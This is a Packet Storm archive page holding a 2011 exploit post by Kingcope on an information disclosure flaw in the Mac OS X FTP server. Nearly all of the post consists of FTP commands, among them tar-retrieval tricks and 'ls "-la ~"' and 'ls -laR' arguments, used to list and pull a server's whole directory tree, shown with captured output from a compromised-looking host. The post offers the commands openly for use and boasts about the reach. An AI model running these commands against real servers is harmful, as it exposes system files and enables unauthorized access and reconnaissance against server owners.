what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Mac OS X FTPd Disclosure

Mac OS X FTPd Disclosure
Posted Feb 14, 2011
Authored by Kingcope

Mac OS X suffers from a ftpd related information disclosure vulnerability.

tags | exploit, info disclosure
systems | apple, osx
SHA-256 | c7e1f64cd4e638d0f9d91eb82e75faafba3b340b73fe38afbb8d624256f950a1

Mac OS X FTPd Disclosure

Change Mirror Download
MacOS X FTP Server 0day
it was my finding, who carez

ftp <target>
get ...tar
will retrieve all contents of underlying folder of user ftp. (hint:
works with correct user account in latest NcFTPD too)

ftp> ls ~ftp
200 PORT command successful.
150 Opening ASCII mode data connection for /us.
/.hotfiles.btree
/.rnd
/.Trashes
/.vol
/Applications
/automount
/bin
/cores
/Desktop DB
/Desktop DF
/dev
/Developer
/etc
/Groups
/Library
/mach
/mach.sym
/mach_kernel
/Network
/opt
/private
/sbin
/
/System
/tmp
226 Transfer complete.
ftp: 236 bytes received in 0,06Seconds 3,81Kbytes/sec.

ls ~ftp/etc/*/*

ftp> ls "-la ~"
227 Entering Passive Mode ()
150 Opening ASCII mode data connection for directory listing.
total 20011
drwxrwxr-t 34 0 80 1258 Dec 30 17:55 .
drwxrwxr-t 34 0 80 1258 Dec 30 17:55 ..
-rw-r--r-- 1 0 80 6148 Jul 19 2004 .DS_Store
d-wx-wx-wt 2 0 80 68 Jul 19 2004 .Trashes
-rw------- 1 0 80 786432 Sep 5 2007 .hotfiles.btree
-rw------- 1 0 80 1024 Nov 30 2006 .rnd
dr-xr-xr-x 2 0 0 160 Dec 30 17:55 .vol
drwxrwxr-x 35 0 80 1190 May 11 2009 Applications
-rw-r--r-- 1 0 80 29184 Dec 23 2006 Desktop DB
-rw-r--r-- 1 0 80 194178 Dec 23 2006 Desktop DF
drwxrwxr-x 3 0 80 102 May 11 2009 Developer
-rwxr-xr-x 3 501 80 1024 Jun 25 2007 DiskWarrior.dmg
drwxrwxr-x 2 501 80 68 Jul 17 2010 Groups
drwxrwxr-t 53 0 80 1802 Nov 30 2006 Library
drwxr-xr-x 1 0 0 512 Feb 11 11:54 Network
drwxrwxr-x 6 501 80 204 Nov 30 2006 Shared Items
drwxr-xr-x 4 0 0 136 May 11 2009 System
drwxrwxr-t 6 0 80 204 Nov 30 2006 Users
drwxrwxrwt 6 0 80 204 Dec 30 17:55 Volumes
drwxr-xr-x 4 0 80 136 Jun 8 2005 automount
drwxr-xr-x 48 0 0 1632 May 11 2009 bin
drwxr-xr-x 43 0 501 1462 Jun 28 2006 bru
drwxrwxr-t 2 0 80 68 Dec 8 2003 cores
dr-xr-xr-x 2 0 0 512 Dec 30 17:55 dev
lrwxr-xr-x 1 0 4294967294 11 Nov 30 2006 etc -> private/etc
lrwxr-xr-x 1 0 80 9 Dec 30 17:55 mach -> ???
-r--r--r-- 1 0 80 624040 Dec 30 17:55 mach.sym
-rw-r--r-- 1 0 0 8570484 Oct 10 2007 mach_kernel
drwxr-xr-x 3 0 0 102 Nov 4 2005 opt
drwxr-xr-x 6 0 0 204 Dec 30 17:55 private
drwxr-xr-x 64 0 0 2176 May 11 2009 sbin
lrwxr-xr-x 1 0 4294967294 11 Nov 30 2006 tmp -> private/tmp
drwxr-xr-x 10 0 0 340 May 11 2009 usr
lrwxr-xr-x 1 0 4294967294 11 Nov 30 2006 var -> private/var
226 Transfer complete.
ftp> ls "-la ~"

ls "-laR ~" YOU NAME IT! WHOLE DIRTREE OF SERVER

/Kingcope

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close